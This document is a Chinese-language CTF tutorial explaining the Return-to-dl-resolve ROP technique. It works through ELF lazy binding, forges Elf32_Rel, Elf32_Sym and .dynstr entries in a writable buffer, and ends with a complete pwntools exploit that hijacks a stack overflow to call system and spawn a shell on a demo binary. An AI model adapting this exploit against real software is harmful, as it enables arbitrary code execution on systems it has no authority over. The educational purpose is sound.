Return-to-dl-resolve淺析


本文介紹一種CTF中的高級rop技巧-Return-to-dl-resolve,不久前的0CTF中的babystack和blackhole就用到了這個技巧。

預備知識

在開始本文前希望大家能預先了解一下什么叫延遲綁定

好了,我們開始

假設存在以下程序:

//gcc x86.c -fno-stack-protector -m32 -o x86
#include <unistd.h>
#include <string.h>
char gift[0x200];
void fun(){
	char buffer[0x20];
	read(0,buffer,0x200);
}
int main(){
	fun();
	return 0;
}

當程序第一次執行read函數時,先執行

→  0x804841f <fun+20> call   0x80482e0 <read@plt>
   ↳   	0x80482e0 <read@plt+0> jmp	DWORD PTR ds:0x804a00c <--先跳到0x804a00c指向的地址處執行
   		0x80482e6 <read@plt+6> push 0x0 <---此時入棧的0是JMPREL段(對應 .rel.plt節)的read的Elf32_Rel的相對偏移,即rel_offset
   		0x80482eb <read@plt+11>jmp	0x80482d0

程序會跳到0x804a00c指向的地址處執行,第一次調用函數時,0x804a00c中存的就是下一句指令push 0x0的地址0x80482e6

gef➤  x/x 0x804a00c
0x804a00c:	0x080482e6

繼續執行,先將0x0壓棧,再跳到0x80482d0處執行,0x80482d0處的代碼為

.plt:080482D0 push	ds:dword_804A004 <---此時入棧的是JMPREL段的基地址
.plt:080482D6 jmp 	ds:dword_804A008

0x804a000是got表的起始地址。

GOT表的前三項有特殊含義:
第一項是.dynamic段的地址,第二個是link_map的地址,第三個是_dl_runtime_resolve函數的地址,第四項開始就是函數的GOT表了,在這里第一項就是read@got了

.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004   dd 0; DATA XREF: sub_80482D0↑r
.got.plt:0804A008 dword_804A008   dd 0; DATA XREF: sub_80482D0+6↑r
.got.plt:0804A00C off_804A00C dd offset read  ; DATA XREF: _read↑r

以上代碼就相當於執行_dl_runtime_resolve(link_map,rel_offset)

rel是個結構體:

typedef struct
{
  Elf32_Addr	r_offset;   /*  這個值就是got表的虛擬地址 */
  Elf32_Word	r_info; /* .dynsym節區符號表索引 */
} Elf32_Rel;
#define ELF32_R_SYM(val)((val) >> 8)
#define ELF32_R_TYPE(val)   ((val) & 0xff)

rel結構存在於.rel.plt段中

.rel.plt段基址使用objdump -s -j .rel.plt ./x86命令來查看

_dl_runtime_resolve先根據rel_offset定位到這個rel結構,再根據r_info定位到.dynsym節區中的動態鏈接符號表,符號表由Elf32_Sym結構表示:

typedef struct
{
Elf32_Word	st_name;   /* Symbol name (string tbl index) 這個就是*/
Elf32_Addr	st_value;  /* Symbol value */
Elf32_Word	st_size;   /* Symbol size */
unsigned char 	st_info;   /* Symbol type and binding */
unsigned char 	st_other;  /* Symbol visibility under glibc>=2.2 */
Elf32_Section 	st_shndx;  /* Section index */
} Elf32_Sym;

.dynsym基地址使用objdump -s -j .dynsym ./x86來獲取。

其中第一項st_name就是其對應的函數名字符串到.dynstr節起始的偏移值。函數定位到Elf32_Sym結構再根據st_name定位到.dynstr中的函數名

.dynstr節包含了動態鏈接的字符,字符串是直接以ASCII碼的形式儲存的

.dynstr的基地址由objdump -s -j .dynstr ./x86來獲得。

$ objdump -s -j .dynstr ./x86

./x86: file format elf32-i386

Contents of section .dynstr:
 804821c 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s
 804822c 7464696e 5f757365 64007265 6164005f  tdin_used.read._

gef➤  x/5s 0x804821c
0x804821c:	""
0x804821d:	"libc.so.6"
0x8048227:	"_IO_stdin_used"
0x8048236:	"read"
0x804823b:	"__libc_start_main"

最終找到了函數名,程序根據函數名找到函數的真正地址,寫入read@got

總結一些流程:

index_arg(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)

利用思路

事實上,虛擬地址是通過最后一個箭頭,即從st_name得來的,只要我們能夠修改這個st_name就可以執行任意函數。比如把st_name的內容修改成為"system"。

而index_arg是我們控制的,我們需要做的是通過一系列操作。把index_arg可控轉化為st_name可控。

我們需要在一個可寫地址上構造一系列偽結構就可以完成利用

漏洞利用

就以以下這個程序為例

//gcc x86.c -fno-stack-protector -m32 -o x86
#include <unistd.h>
#include <string.h>
char gift[0x200];
void fun(){
	char buffer[0x20];
	read(0,buffer,0x200);
}
int main(){
	fun();
	return 0;
}

我們可以在gift中構造我們需要的偽結構

1.計算index_arg控制.rel.plt(Elf32_Rel)結構體位置

index_arg是我們直接通過壓棧參數進行控制的,使用要偽造的目標地址減去.rel.plt段基地址就是index_arg的值

.bss:0804A040 public gift
.bss:0804A040 giftdb? ;
.bss:0804A041 db? ;
.bss:0804A042 db? ;

$ objdump -s -j .rel.plt ./x86
./x86: file format elf32-i386
Contents of section .rel.plt:
 08048298 0ca00408 07010000 10a00408 07030000  ................

index_arg = 0x0804A040 - 0x08048298 = 0x1da8

2.構造.rel.plt(Elf32_Rel)控制.dynsym(Elf32_Sym)

r_info的計算方法是
1.n = (欲偽造的地址-.dynsym基地址)/0x10
2.r_info = n<<8

$ objdump -s -j .dynsym ./x86

./x86: file format elf32-i386

Contents of section .dynsym:
 80481cc 00000000 00000000 00000000 00000000  ................

n = ((0x0804A040 + 4*4) - 0x080481cc)/0x10
r_info = n<<8 = 0x1e800

還需要過#define ELF32_R_TYPE(val)   ((val) & 0xff)宏定義,ELF32_R_TYPE(r_info)=7,因此
r_info = 0x1e800 + 0x7 = 0x1e807

3.構造.dynsym(Elf32_Sym)控制.dynstr(st_name)

$objdump -s -j .dynstr ./x86
./x86: file format elf32-i386
Contents of section .dynstr:
 804821c 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s

st_name = (0x0804A040 + 8 + 24) - 0x804821c = 0x1e44

4. .dynstr寫入system完成利用

直接寫入ASCII形式的system即可

最終的gift中排布形式如下

exp

from pwn import*
p = process('./x86')
#context.log_level = 'debug'
elf = ELF('./x86')
gift = 0x0804A040

payload = 0x28*'a' + 4*'a'
payload +=  p32(elf.plt['read']) + p32(0x0804840B)
payload += p32(0) + p32(gift) + p32(17*4)

p.sendline(payload)

payload = ''
payload += p32(0x0804a00c) + p32(0x1e807)
payload += p32(0x1e44)*2
payload += p32(0) + p32(0x00000012)*3
payload += 'system\x00\x00'
payload += 'system\x00\x00'
payload += '/bin/bash\x00'

p.sendline(payload)

payload = 0x28*'a' + 4*'a'
payload += p32(0x080482D0) + p32(0x1da8) + p32(0x0804840B) + p32(gift + 12*4)
p.sendline(payload)

p.interactive()

這個技巧主要用在沒有libc.so以及程序中沒有輸出函數的情況下


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM